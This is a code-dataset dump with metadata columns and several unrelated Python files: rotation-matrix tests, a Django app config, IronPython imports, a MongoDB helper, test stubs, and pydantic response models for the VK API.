hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0af07767042e09c7be4e9f2baf216549a64b458a
| 4,063
|
py
|
Python
|
backend/test/maths/test_rotation_matrix.py
|
PabloAsensio/MonocularVisualOdometry
|
807b9cda2ab34070dde4cf29dd670b397a162753
|
[
"MIT"
] | 1
|
2022-03-09T09:39:12.000Z
|
2022-03-09T09:39:12.000Z
|
backend/test/maths/test_rotation_matrix.py
|
PabloAsensio/MonocularVisualOdometry
|
807b9cda2ab34070dde4cf29dd670b397a162753
|
[
"MIT"
] | null | null | null |
backend/test/maths/test_rotation_matrix.py
|
PabloAsensio/MonocularVisualOdometry
|
807b9cda2ab34070dde4cf29dd670b397a162753
|
[
"MIT"
] | null | null | null |
import numpy as np
from src.maths import rotationMatrix
R = rotationMatrix(0, 0, 0)
R1 = rotationMatrix(0, 0, np.pi / 2)
R2 = rotationMatrix(0, 0, np.pi)
R3 = rotationMatrix(0, 0, 3 * np.pi / 2)
R4 = rotationMatrix(0, 0, 2 * np.pi)
R5 = rotationMatrix(0, np.pi / 2, 0)
R6 = rotationMatrix(0, np.pi, 0)
R7 = rotationMatrix(0, 3 * np.pi / 2, 0)
R8 = rotationMatrix(0, 2 * np.pi, 0)
R9 = rotationMatrix(np.pi / 2, 0, 0)
R10 = rotationMatrix(np.pi, 0, 0)
R11 = rotationMatrix(3 * np.pi / 2, 0, 0)
R12 = rotationMatrix(2 * np.pi, 0, 0)
class TestRotationMatrix:
def test_determinat(self):
assert np.linalg.det(R) == 1
def test_ortonormal(self):
assert (np.linalg.inv(R) == R.T).all() == True
def test_rotation_matrix_0_0_0(self):
assert (np.abs(R - np.eye(3)) < 1e-12).all() # Identity matrix
def test_rotation_matrix_0_0_90(self):
assert (np.abs(R1 - np.array([[0, 1, 0], [-1, 0, 0], [0, 0, 1]])) < 1e-12).all()
def test_rotation_matrix_0_0_180(self):
assert (
np.abs(R2 - np.array([[-1, 0, 0], [0, -1, 0], [0, 0, 1]])) < 1e-12
).all()
def test_rotation_matrix_0_0_270(self):
assert (np.abs(R3 - np.array([[0, -1, 0], [1, 0, 0], [0, 0, 1]])) < 1e-12).all()
def test_rotation_matrix_0_0_360(self):
assert (np.abs(R4 - np.eye(3)) < 1e-12).all() # Identity matrix
def test_rotation_matrix_0_90_0(self):
assert (np.abs(R5 - np.array([[0, 0, -1], [0, 1, 0], [1, 0, 0]])) < 1e-12).all()
def test_rotation_matrix_0_180_0(self):
assert (
np.abs(R6 - np.array([[-1, 0, 0], [0, 1, 0], [0, 0, -1]])) < 1e-12
).all()
def test_rotation_matrix_0_270_0(self):
assert (np.abs(R7 - np.array([[0, 0, 1], [0, 1, 0], [-1, 0, 0]])) < 1e-12).all()
def test_rotation_matrix_0_360_0(self):
assert (np.abs(R8 - np.eye(3)) < 1e-12).all() # Identity matrix
def test_rotation_matrix_90_0_0(self):
assert (np.abs(R9 - np.array([[1, 0, 0], [0, 0, 1], [0, -1, 0]])) < 1e-12).all()
def test_rotation_matrix_180_0_0(self):
assert (
np.abs(R10 - np.array([[1, 0, 0], [0, -1, 0], [0, 0, -1]])) < 1e-12
).all()
def test_rotation_matrix_270_0_0(self):
assert (
np.abs(R11 - np.array([[1, 0, 0], [0, 0, -1], [0, 1, 0]])) < 1e-12
).all()
def test_rotation_matrix_360_0_0(self):
assert (np.abs(R12 - np.eye(3)) < 1e-12).all() # Identity matrix
# Minus matrices (not necesary, but nice to have)
R13 = rotationMatrix(0, 0, -np.pi / 2)
R14 = rotationMatrix(0, 0, -np.pi)
R15 = rotationMatrix(0, 0, -3 * np.pi / 2)
R16 = rotationMatrix(0, 0, -2 * np.pi)
R17 = rotationMatrix(0, -np.pi / 2, 0)
R18 = rotationMatrix(0, -np.pi, 0)
R19 = rotationMatrix(0, -3 * np.pi / 2, 0)
R20 = rotationMatrix(0, -2 * np.pi, 0)
R21 = rotationMatrix(-np.pi / 2, 0, 0)
R22 = rotationMatrix(-np.pi, 0, 0)
R23 = rotationMatrix(-3 * np.pi / 2, 0, 0)
R24 = rotationMatrix(-2 * np.pi, 0, 0)
class TestRotationMatrixSign:
def test_minus_0_0_90(self):
assert (np.abs(R1 - R15) < 1e7 - 7).all()
def test_minus_0_0_180(self):
assert (np.abs(R2 - R14) < 1e7 - 7).all()
def test_minus_0_0_270(self):
assert (np.abs(R3 - R13) < 1e7 - 7).all()
def test_rotation_matrix_0_0_360(self):
assert (np.abs(R16 - R) < 1e7 - 7).all()
def test_minus_0_90_0(self):
assert (np.abs(R5 - R19) < 1e7 - 7).all()
def test_minus_0_180_0(self):
assert (np.abs(R6 - R18) < 1e7 - 7).all()
def test_minus_0_270_0(self):
assert (np.abs(R7 - R17) < 1e7 - 7).all()
def test_minus_0_360_0(self):
assert (np.abs(R8 - R) < 1e7 - 7).all()
def test_minus_90_0_0(self):
assert (np.abs(R9 - R23) < 1e7 - 7).all()
def test_minus_180_0_0(self):
assert (np.abs(R10 - R22) < 1e7 - 7).all()
def test_minus_270_0_0(self):
assert (np.abs(R11 - R21) < 1e7 - 7).all()
def test_minus_360_0_0(self):
assert (np.abs(R12 - R) < 1e7 - 7).all()
| 31.015267
| 88
| 0.572483
| 712
| 4,063
| 3.103933
| 0.105337
| 0.057919
| 0.146606
| 0.169683
| 0.848869
| 0.78733
| 0.648869
| 0.521719
| 0.277376
| 0.277376
| 0
| 0.14258
| 0.23874
| 4,063
| 130
| 89
| 31.253846
| 0.571937
| 0.02732
| 0
| 0.10989
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.296703
| 1
| 0.296703
| false
| 0
| 0.021978
| 0
| 0.340659
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0af2216a694b5fd213cf010d7053190daab9b909
| 87
|
py
|
Python
|
saisie/apps.py
|
rollanda21/Genetic-algorithm-for-time-table-generation
|
fb1ab13ab54da1a5d0582787baa2c444a9a838db
|
[
"MIT"
] | null | null | null |
saisie/apps.py
|
rollanda21/Genetic-algorithm-for-time-table-generation
|
fb1ab13ab54da1a5d0582787baa2c444a9a838db
|
[
"MIT"
] | null | null | null |
saisie/apps.py
|
rollanda21/Genetic-algorithm-for-time-table-generation
|
fb1ab13ab54da1a5d0582787baa2c444a9a838db
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class SaisieConfig(AppConfig):
name = 'saisie'
| 14.5
| 33
| 0.747126
| 10
| 87
| 6.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.172414
| 87
| 5
| 34
| 17.4
| 0.902778
| 0
| 0
| 0
| 0
| 0
| 0.068966
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
7c2501b6bf56b54244b53f4662c38e43eb868ad0
| 419
|
py
|
Python
|
scripts/plugins/shared/required.py
|
TESnip-Skyrim-Edition/tesvsnip
|
8ff00f461cf95cd5839a73bd24d4aa3dbd3d2b46
|
[
"MIT"
] | 3
|
2016-01-24T07:33:36.000Z
|
2019-10-11T22:47:16.000Z
|
scripts/plugins/shared/required.py
|
TESnip-Skyrim-Edition/tesvsnip
|
8ff00f461cf95cd5839a73bd24d4aa3dbd3d2b46
|
[
"MIT"
] | null | null | null |
scripts/plugins/shared/required.py
|
TESnip-Skyrim-Edition/tesvsnip
|
8ff00f461cf95cd5839a73bd24d4aa3dbd3d2b46
|
[
"MIT"
] | null | null | null |
#
# Required imports by all scripts
#
import clr
clr.AddReferenceByPartialName("TESVSnip.Framework")
clr.AddReferenceByPartialName("TESVSnip.Domain")
clr.AddReferenceByPartialName("System.Core")
try:
# TESVSnip Application may not be loaded on command line
clr.AddReferenceByPartialName("TESVSnip")
clr.AddReferenceByPartialName("System.Windows.Forms")
clr.AddReferenceByPartialName("System.Drawing")
except:
pass
| 27.933333
| 57
| 0.818616
| 43
| 419
| 7.976744
| 0.627907
| 0.489796
| 0.314869
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081146
| 419
| 14
| 58
| 29.928571
| 0.890909
| 0.205251
| 0
| 0
| 0
| 0
| 0.262195
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.1
| 0.1
| 0
| 0.1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
7c2d113023524ec18de0f4bece508674887a5076
| 211
|
py
|
Python
|
app/mongo/data/collect/ions.py
|
jgphilpott/polyMaker
|
33ab5ecdba277d1765ffdaebb77f0bab2480dc46
|
[
"MIT"
] | null | null | null |
app/mongo/data/collect/ions.py
|
jgphilpott/polyMaker
|
33ab5ecdba277d1765ffdaebb77f0bab2480dc46
|
[
"MIT"
] | null | null | null |
app/mongo/data/collect/ions.py
|
jgphilpott/polyMaker
|
33ab5ecdba277d1765ffdaebb77f0bab2480dc46
|
[
"MIT"
] | null | null | null |
from mongo.data.base import mongo_database
database = mongo_database()
def mongo_collection(collection):
return database[collection]
def mongo_collections():
return database.list_collection_names()
| 17.583333
| 43
| 0.791469
| 25
| 211
| 6.44
| 0.48
| 0.161491
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.132701
| 211
| 11
| 44
| 19.181818
| 0.879781
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.166667
| 0.333333
| 0.833333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
7c3dea7701196f4433892ab8b361c57f7ceb1950
| 124
|
py
|
Python
|
.hypothesis/eval_source/hypothesis_temporary_module_0529b12987b897d7290f83bcbcc804e28602383d.py
|
keybar/keybar
|
46bd0dee310ed4ac1d680f5fe75326aeb109aebc
|
[
"BSD-3-Clause"
] | 4
|
2015-06-17T07:44:29.000Z
|
2021-03-06T01:29:17.000Z
|
.hypothesis/eval_source/hypothesis_temporary_module_0529b12987b897d7290f83bcbcc804e28602383d.py
|
keybar/keybar
|
46bd0dee310ed4ac1d680f5fe75326aeb109aebc
|
[
"BSD-3-Clause"
] | 18
|
2015-01-12T20:57:26.000Z
|
2022-03-11T23:11:38.000Z
|
.hypothesis/eval_source/hypothesis_temporary_module_0529b12987b897d7290f83bcbcc804e28602383d.py
|
keybar/keybar
|
46bd0dee310ed4ac1d680f5fe75326aeb109aebc
|
[
"BSD-3-Clause"
] | 1
|
2015-01-19T07:24:00.000Z
|
2015-01-19T07:24:00.000Z
|
from hypothesis.utils.conventions import not_set
def accept(f):
def decimals():
return f()
return decimals
| 17.714286
| 48
| 0.685484
| 16
| 124
| 5.25
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.233871
| 124
| 6
| 49
| 20.666667
| 0.884211
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.2
| 0.2
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
7c40cd1941b1927f3f16be9223da40353dbb88b0
| 555
|
py
|
Python
|
tests/unit/models/test_device.py
|
jzalger/particle-hub
|
340ad745defb54014bd6d342fdc96f2d6ddc56aa
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/models/test_device.py
|
jzalger/particle-hub
|
340ad745defb54014bd6d342fdc96f2d6ddc56aa
|
[
"Apache-2.0"
] | 9
|
2021-01-16T19:05:09.000Z
|
2021-12-11T22:22:10.000Z
|
tests/unit/models/test_device.py
|
jzalger/particle-hub
|
340ad745defb54014bd6d342fdc96f2d6ddc56aa
|
[
"Apache-2.0"
] | null | null | null |
from unittest import TestCase
from particlehub.models import Device
class TestDevice(TestCase):
def test_create_device(self):
self.fail()
def test_from_dict(self):
self.fail()
def test_get_all_variable_data(self):
self.fail()
def test_device_health(self):
self.fail()
def test__update_variable_names(self):
self.fail()
def test_full_device_data(self):
self.fail()
def test_get_variable_data(self):
self.fail()
def test__call_func(self):
self.fail()
| 18.5
| 42
| 0.654054
| 73
| 555
| 4.657534
| 0.342466
| 0.164706
| 0.282353
| 0.308824
| 0.491176
| 0.323529
| 0.182353
| 0
| 0
| 0
| 0
| 0
| 0.252252
| 555
| 29
| 43
| 19.137931
| 0.819277
| 0
| 0
| 0.421053
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.421053
| false
| 0
| 0.105263
| 0
| 0.578947
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
7c5d74fd3b159b8adaef47187b5c336c39cfb9e9
| 15
|
py
|
Python
|
pyutilib/component/loader/tests/eggsrc/pkg5/package5/__init__.py
|
PyUtilib/PyUtilib
|
d99406f2af1fb62268c34453a2fbe6bd4a7348f0
|
[
"BSD-3-Clause"
] | 24
|
2016-04-02T10:00:02.000Z
|
2021-03-02T16:40:18.000Z
|
pyutilib/component/loader/tests/eggsrc/pkg5/package5/__init__.py
|
PyUtilib/PyUtilib
|
d99406f2af1fb62268c34453a2fbe6bd4a7348f0
|
[
"BSD-3-Clause"
] | 105
|
2015-10-29T03:29:58.000Z
|
2021-12-30T22:00:45.000Z
|
pyutilib/component/loader/tests/eggsrc/pkg5/package5/__init__.py
|
PyUtilib/PyUtilib
|
d99406f2af1fb62268c34453a2fbe6bd4a7348f0
|
[
"BSD-3-Clause"
] | 22
|
2016-01-21T15:35:25.000Z
|
2021-05-15T20:17:44.000Z
|
"""Package5"""
| 7.5
| 14
| 0.533333
| 1
| 15
| 8
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 0.066667
| 15
| 1
| 15
| 15
| 0.5
| 0.533333
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7c5d7fb32f798e2195e5449e9bd1ae78752baa99
| 117
|
py
|
Python
|
build/lib/django_app_permissions/apps.py
|
amp89/django-app-permissions
|
11f576d2118f5b73fdbefa0675acc3374a5a9749
|
[
"MIT"
] | 2
|
2020-09-04T04:12:30.000Z
|
2020-10-20T00:12:01.000Z
|
django_app_permissions/apps.py
|
amp89/django-app-permissions
|
11f576d2118f5b73fdbefa0675acc3374a5a9749
|
[
"MIT"
] | 4
|
2020-09-06T22:29:18.000Z
|
2020-09-11T01:19:50.000Z
|
django_app_permissions/apps.py
|
amp89/django-app-permissions
|
11f576d2118f5b73fdbefa0675acc3374a5a9749
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class DjangoAppPermissionsConfig(AppConfig):
name = 'django_app_permissions'
| 19.5
| 44
| 0.811966
| 12
| 117
| 7.75
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128205
| 117
| 5
| 45
| 23.4
| 0.911765
| 0
| 0
| 0
| 0
| 0
| 0.188034
| 0.188034
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
7c7668c15b3503584b57d253ef09a747a8b374ce
| 52
|
py
|
Python
|
test/unit/transform/__init__.py
|
Wheelspawn/pudl
|
40d176313e60dfa9d2481f63842ed23f08f1ad5f
|
[
"MIT"
] | 285
|
2017-05-26T02:42:04.000Z
|
2022-03-25T09:06:11.000Z
|
test/unit/transform/__init__.py
|
Wheelspawn/pudl
|
40d176313e60dfa9d2481f63842ed23f08f1ad5f
|
[
"MIT"
] | 1,398
|
2017-05-27T15:46:08.000Z
|
2022-03-31T19:50:07.000Z
|
test/unit/transform/__init__.py
|
Wheelspawn/pudl
|
40d176313e60dfa9d2481f63842ed23f08f1ad5f
|
[
"MIT"
] | 76
|
2017-06-22T17:31:28.000Z
|
2022-01-23T22:17:57.000Z
|
"""Unit tests for the pudl.transform subpackage."""
| 26
| 51
| 0.730769
| 7
| 52
| 5.428571
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115385
| 52
| 1
| 52
| 52
| 0.826087
| 0.865385
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7c823634a0fc1b5fe900d673cb65d0f90ef078e7
| 57,230
|
py
|
Python
|
pyvdk_types/responses.py
|
UT1C/pyvdk-types
|
fc80dbc72842546d54b151824079e2f707253bbf
|
[
"MIT"
] | null | null | null |
pyvdk_types/responses.py
|
UT1C/pyvdk-types
|
fc80dbc72842546d54b151824079e2f707253bbf
|
[
"MIT"
] | null | null | null |
pyvdk_types/responses.py
|
UT1C/pyvdk-types
|
fc80dbc72842546d54b151824079e2f707253bbf
|
[
"MIT"
] | null | null | null |
from typing import Optional, Union, Any, List, Tuple
import enum
from pydantic import BaseModel as PydanticModel
from . import objects
class AccountChangepasswordResponse(PydanticModel):
response: Optional[dict] = None
class AccountGetactiveoffersResponse(PydanticModel):
response: Optional[dict] = None
class AccountGetapppermissionsResponse(PydanticModel):
response: Optional[int] = None
class AccountGetbannedResponse(PydanticModel):
response: Optional[dict] = None
class AccountGetcountersResponse(PydanticModel):
response: Optional["objects.AccountAccountCounters"] = None
class AccountGetinfoResponse(PydanticModel):
response: Optional["objects.AccountInfo"] = None
class AccountGetprofileinfoResponse(PydanticModel):
response: Optional["objects.AccountUserSettings"] = None
class AccountGetpushsettingsResponse(PydanticModel):
response: Optional["objects.AccountPushSettings"] = None
class AccountSaveprofileinfoResponse(PydanticModel):
response: Optional[dict] = None
class AdsAddofficeusersResponse(PydanticModel):
response: Optional[bool] = None
class AdsChecklinkResponse(PydanticModel):
response: Optional["objects.AdsLinkStatus"] = None
class AdsCreateadsResponse(PydanticModel):
response: Optional[List[int]] = None
class AdsCreatecampaignsResponse(PydanticModel):
response: Optional[List[int]] = None
class AdsCreateclientsResponse(PydanticModel):
response: Optional[List[int]] = None
class AdsCreatetargetgroupResponse(PydanticModel):
response: Optional[dict] = None
class AdsDeleteadsResponse(PydanticModel):
response: Optional[List[int]] = None
class AdsDeletecampaignsResponse(PydanticModel):
response: Optional[int] = None
class AdsDeleteclientsResponse(PydanticModel):
response: Optional[int] = None
class AdsGetaccountsResponse(PydanticModel):
response: Optional[List["objects.AdsAccount"]] = None
class AdsGetadslayoutResponse(PydanticModel):
response: Optional[List["objects.AdsAdLayout"]] = None
class AdsGetadstargetingResponse(PydanticModel):
response: Optional[List["objects.AdsTargSettings"]] = None
class AdsGetadsResponse(PydanticModel):
response: Optional[List["objects.AdsAd"]] = None
class AdsGetbudgetResponse(PydanticModel):
response: Optional[int] = None
class AdsGetcampaignsResponse(PydanticModel):
response: Optional[List["objects.AdsCampaign"]] = None
class AdsGetcategoriesResponse(PydanticModel):
response: Optional[dict] = None
class AdsGetclientsResponse(PydanticModel):
response: Optional[List["objects.AdsClient"]] = None
class AdsGetdemographicsResponse(PydanticModel):
response: Optional[List["objects.AdsDemoStats"]] = None
class AdsGetfloodstatsResponse(PydanticModel):
response: Optional["objects.AdsFloodStats"] = None
class AdsGetlookalikerequestsResponse(PydanticModel):
response: Optional[dict] = None
class AdsGetmusiciansResponse(PydanticModel):
response: Optional[dict] = None
class AdsGetofficeusersResponse(PydanticModel):
response: Optional[List["objects.AdsUsers"]] = None
class AdsGetpostsreachResponse(PydanticModel):
response: Optional[List["objects.AdsPromotedPostReach"]] = None
class AdsGetrejectionreasonResponse(PydanticModel):
response: Optional["objects.AdsRejectReason"] = None
class AdsGetstatisticsResponse(PydanticModel):
response: Optional[List["objects.AdsStats"]] = None
class AdsGetsuggestionsCitiesResponse(PydanticModel):
response: Optional[List["objects.AdsTargSuggestionsCities"]] = None
class AdsGetsuggestionsRegionsResponse(PydanticModel):
response: Optional[List["objects.AdsTargSuggestionsRegions"]] = None
class AdsGetsuggestionsResponse(PydanticModel):
response: Optional[List["objects.AdsTargSuggestions"]] = None
class AdsGetsuggestionsSchoolsResponse(PydanticModel):
response: Optional[List["objects.AdsTargSuggestionsSchools"]] = None
class AdsGettargetgroupsResponse(PydanticModel):
response: Optional[List["objects.AdsTargetGroup"]] = None
class AdsGettargetingstatsResponse(PydanticModel):
response: Optional["objects.AdsTargStats"] = None
class AdsGetuploadurlResponse(PydanticModel):
response: Optional[str] = None
class AdsGetvideouploadurlResponse(PydanticModel):
response: Optional[str] = None
class AdsImporttargetcontactsResponse(PydanticModel):
response: Optional[int] = None
class AdsRemoveofficeusersResponse(PydanticModel):
response: Optional[bool] = None
class AdsUpdateadsResponse(PydanticModel):
response: Optional[List[int]] = None
class AdsUpdatecampaignsResponse(PydanticModel):
response: Optional[int] = None
class AdsUpdateclientsResponse(PydanticModel):
response: Optional[int] = None
class AdsUpdateofficeusersResponse(PydanticModel):
response: Optional[List["objects.AdsUpdateofficeusersResult"]] = None
class AdswebGetadcategoriesResponse(PydanticModel):
response: Optional[dict] = None
class AdswebGetadunitcodeResponse(PydanticModel):
response: Optional[dict] = None
class AdswebGetadunitsResponse(PydanticModel):
response: Optional[dict] = None
class AdswebGetfraudhistoryResponse(PydanticModel):
response: Optional[dict] = None
class AdswebGetsitesResponse(PydanticModel):
response: Optional[dict] = None
class AdswebGetstatisticsResponse(PydanticModel):
response: Optional[dict] = None
class AppwidgetsGetappimageuploadserverResponse(PydanticModel):
response: Optional[dict] = None
class AppwidgetsGetappimagesResponse(PydanticModel):
response: Optional["objects.AppwidgetsPhotos"] = None
class AppwidgetsGetgroupimageuploadserverResponse(PydanticModel):
response: Optional[dict] = None
class AppwidgetsGetgroupimagesResponse(PydanticModel):
response: Optional["objects.AppwidgetsPhotos"] = None
class AppwidgetsGetimagesbyidResponse(PydanticModel):
response: Optional[List["objects.AppwidgetsPhoto"]] = None
class AppwidgetsSaveappimageResponse(PydanticModel):
response: Optional["objects.AppwidgetsPhoto"] = None
class AppwidgetsSavegroupimageResponse(PydanticModel):
response: Optional["objects.AppwidgetsPhoto"] = None
class AppsGetcatalogResponse(PydanticModel):
response: Optional[dict] = None
class AppsGetfriendslistResponse(PydanticModel):
response: Optional[dict] = None
